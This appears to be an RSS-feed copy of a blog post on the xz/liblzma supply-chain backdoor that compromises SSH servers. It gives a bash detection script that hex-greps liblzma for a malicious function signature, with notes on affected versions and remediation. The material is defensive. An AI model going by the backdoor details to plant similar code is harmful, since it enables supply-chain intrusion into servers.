<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">ShellScript</span><span role="button" tabindex="0" data-code="#! /bin/bash

set -eu

# find path to liblzma used by sshd
path=&quot;$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')&quot;

# does it even exist?
if [ &quot;$path&quot; == &quot;&quot; ]
then
	echo probably not vulnerable
	exit
fi

# check for function signature
if hexdump -ve '1/1 &quot;%.2x&quot;' &quot;$path&quot; | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then
	echo probably vulnerable
else
	echo probably not vulnerable
fi
" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #6A9955">#! /bin/bash</span></span>
<span class="line"></span>
<span class="line"><span style="color: #DCDCAA">set</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-eu</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955"># find path to liblzma used by sshd</span></span>
<span class="line"><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">=</span><span style="color: #CE9178">&quot;$(</span><span style="color: #DCDCAA">ldd</span><span style="color: #CE9178"> $(</span><span style="color: #DCDCAA">which</span><span style="color: #CE9178"> sshd) </span><span style="color: #D4D4D4">|</span><span style="color: #CE9178"> </span><span style="color: #DCDCAA">grep</span><span style="color: #CE9178"> liblzma </span><span style="color: #D4D4D4">|</span><span style="color: #CE9178"> </span><span style="color: #DCDCAA">grep</span><span style="color: #CE9178"> </span><span style="color: #569CD6">-o</span><span style="color: #CE9178"> &#39;/[^ ]*&#39;)&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955"># does it even exist?</span></span>
<span class="line"><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> [ </span><span style="color: #CE9178">&quot;</span><span style="color: #9CDCFE">$path</span><span style="color: #CE9178">&quot;</span><span style="color: #D4D4D4"> == </span><span style="color: #CE9178">&quot;&quot;</span><span style="color: #D4D4D4"> ]</span></span>
<span class="line"><span style="color: #C586C0">then</span></span>
<span class="line"><span style="color: #D4D4D4">	</span><span style="color: #DCDCAA">echo</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">probably</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">not</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">vulnerable</span></span>
<span class="line"><span style="color: #D4D4D4">	</span><span style="color: #DCDCAA">exit</span></span>
<span class="line"><span style="color: #C586C0">fi</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955"># check for function signature</span></span>
<span class="line"><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">hexdump</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-ve</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&#39;1/1 &quot;%.2x&quot;&#39;</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;</span><span style="color: #9CDCFE">$path</span><span style="color: #CE9178">&quot;</span><span style="color: #D4D4D4"> | </span><span style="color: #DCDCAA">grep</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-q</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410</span></span>
<span class="line"><span style="color: #C586C0">then</span></span>
<span class="line"><span style="color: #D4D4D4">	</span><span style="color: #DCDCAA">echo</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">probably</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">vulnerable</span></span>
<span class="line"><span style="color: #C586C0">else</span></span>
<span class="line"><span style="color: #D4D4D4">	</span><span style="color: #DCDCAA">echo</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">probably</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">not</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">vulnerable</span></span>
<span class="line"><span style="color: #C586C0">fi</span></span>
<span class="line"></span></code></pre></div>



<h3 class="wp-block-heading">How Did This Happen?</h3>



<p class="wp-block-paragraph">A subtle script introduced in the <code>xz</code> tarballs modifies the Makefile during the configuration process, injecting malicious code into the <code>liblzma</code> library. This targeted approach impacts systems built with gcc and the GNU linker, particularly those in Debian or RPM package builds.</p>



<h3 class="wp-block-heading">How to Check if You&#8217;re Affected?</h3>



<ul class="wp-block-list">
<li><strong>SSH Slowdown:</strong> A significant slowdown during SSH logins could indicate compromise.</li>



<li><strong>Version Check:</strong> Verify your <code>liblzma</code> version. Affected versions are 5.6.0 and 5.6.1. (<code>xz --version</code>)</li>



<li><strong>Look for Unusual Processes:</strong> Monitor for unexpected processes or connections, indicative of malicious activity.</li>



<li><strong>Use the aforementioned shell script</strong> </li>
</ul>



<h3 class="wp-block-heading">Immediate Remediation Steps:</h3>



<ol class="wp-block-list">
<li><strong>Downgrade liblzma:</strong> Ensure you&#8217;re running a secure version of <code>liblzma</code>, free from the backdoor.</li>



<li><strong>Use Detection Scripts:</strong> Employ scripts to scan for compromised SSH binaries.</li>
</ol>



<h3 class="wp-block-heading">For the Technically Inclined:</h3>



<p class="wp-block-paragraph">The backdoor manipulation involves sophisticated code injection techniques that evade typical detection methods. This underscores the necessity for rigorous security protocols and the continuous monitoring of system libraries for anomalies.</p>



<p class="wp-block-paragraph">This incident is a stark reminder of the vulnerabilities that can exist in the supply chain and the continuous need for vigilance in system security practices. For more advanced users, it&#8217;s advisable to engage in comprehensive log analysis and employ enhanced detection tools to safeguard against such sophisticated threats.</p>



<p class="wp-block-paragraph"><strong>References:</strong></p>



<ul class="wp-block-list">
<li><a href="https://news.ycombinator.com/item?id=39865810">https://news.ycombinator.com/item?id=39865810</a></li>



<li><a href="https://www.openwall.com/lists/oss-security/2024/03/29/4">https://www.openwall.com/lists/oss-security/2024/03/29/4</a></li>



<li><a href="https://news.opensuse.org/2024/03/29/xz-backdoor/">https://news.opensuse.org/2024/03/29/xz-backdoor/</a></li>
</ul>
<p>The post <a href="https://blog.gerontakis.eu/2024/03/30/backdoor-in-upstream-xz-liblzma-leading-to-ssh-server-compromise/">Backdoor in Upstream xz/liblzma Leading to SSH Server Compromise</a> appeared first on <a href="https://blog.gerontakis.eu">George Gerontakis</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.gerontakis.eu/2024/03/30/backdoor-in-upstream-xz-liblzma-leading-to-ssh-server-compromise/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
